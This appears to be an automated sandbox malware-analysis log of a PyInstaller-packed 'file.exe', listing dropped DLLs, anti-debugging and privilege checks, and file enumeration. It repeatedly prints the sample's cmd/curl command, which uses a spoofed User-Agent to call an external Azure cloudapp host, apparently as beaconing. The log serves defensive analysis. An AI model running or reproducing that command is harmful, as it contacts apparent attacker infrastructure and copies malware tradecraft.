Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-debug-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-datetime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-handle-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processenvironment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-locale-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\_decimal.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-synch-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-fibers-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-stdio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\_hashlib.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\_bz2.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-libraryloader-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-process-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-console-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processthreads-l1-1-1.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-synch-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\select.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l2-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\python311.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-timezone-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\libcrypto-1_1.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\_lzma.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processthreads-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-errorhandling-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-interlocked-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-math-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-conio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-time-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\VCRUNTIME140.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B6EA0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00007FF6399B6EA0
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-environment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-convert-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-profile-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-util-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\_socket.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-rtlsupport-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-namedpipe-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-sysinfo-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-memory-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\unicodedata.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-runtime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-utility-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-filesystem-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-localization-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-handle-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-debug-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-datetime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processenvironment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-locale-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\_decimal.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-synch-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-stdio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-fibers-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\_hashlib.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\_bz2.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-libraryloader-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-process-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-console-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processthreads-l1-1-1.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-synch-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\select.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l2-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\python311.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-timezone-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\libcrypto-1_1.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\_lzma.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processthreads-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-errorhandling-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-interlocked-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-math-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-conio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-time-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-17320
Source: C:\Users\user\Desktop\file.exeAPI coverage: 2.4 %
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B85A0 FindFirstFileExW,FindClose,0_2_00007FF6399B85A0
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00007FF6399B79B0
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF6399D0B84
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B85A0 FindFirstFileExW,FindClose,1_2_00007FF6399B85A0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,1_2_00007FF6399B79B0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,1_2_00007FF6399D0B84
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1CD4E0 FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,1_2_00007FFDFF1CD4E0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1CD274 FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,1_2_00007FFDFF1CD274
Source: file.exe, 00000001.00000002.3015739546.0000024624C63000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000002.1882730514.000001DC607C9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091064539.0000023561B53000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000013.00000003.2196712598.0000027F4B1C6000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000016.00000002.2300773885.0000021670889000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000019.00000003.2405445191.0000017D4E424000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001D.00000002.2509049134.0000020D856D8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000020.00000003.2613841656.00000268D07B4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.2717378662.0000026064D43000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.2825899074.000002913BBA9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399BC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6399BC44C
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D2790 GetProcessHeap,0_2_00007FF6399D2790
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399BC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6399BC44C
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399BBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF6399BBBC0
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399BC62C SetUnhandledExceptionFilter,0_2_00007FF6399BC62C
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399C9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6399C9924
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399BC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FF6399BC44C
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399BBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FF6399BBBC0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399BC62C SetUnhandledExceptionFilter,1_2_00007FF6399BC62C
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399C9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FF6399C9924
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF19F714 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FFDFF19F714
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1CB0AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFDFF1CB0AC
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE14632600 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FFE14632600
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE14632BC0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFE14632BC0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE1A451B00 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFE1A451B00
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE1A451530 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FFE1A451530
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE1A4A0468 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FFE1A4A0468
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180""Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D8880 cpuid 0_2_00007FF6399D8880
Source: C:\Users\user\Desktop\file.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,1_2_00007FFDFF1C9F54
Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,1_2_00007FFDFF1C9D94
Source: C:\Users\user\Desktop\file.exeCode function: EnterCriticalSection,__crt_fast_encode_pointer,EnumSystemLocalesW,LeaveCriticalSection,1_2_00007FFDFF1C79D8
Source: C:\Users\user\Desktop\file.exeCode function: GetPrimaryLen,EnumSystemLocalesW,1_2_00007FFDFF1C9874
Source: C:\Users\user\Desktop\file.exeCode function: GetPrimaryLen,EnumSystemLocalesW,1_2_00007FFDFF1C9928
Source: C:\Users\user\Desktop\file.exeCode function: EnumSystemLocalesW,1_2_00007FFDFF1C980C
Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,GetProcAddress,1_2_00007FFDFF171604
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\ucrtbase.dll VolumeInformationJump to behavior
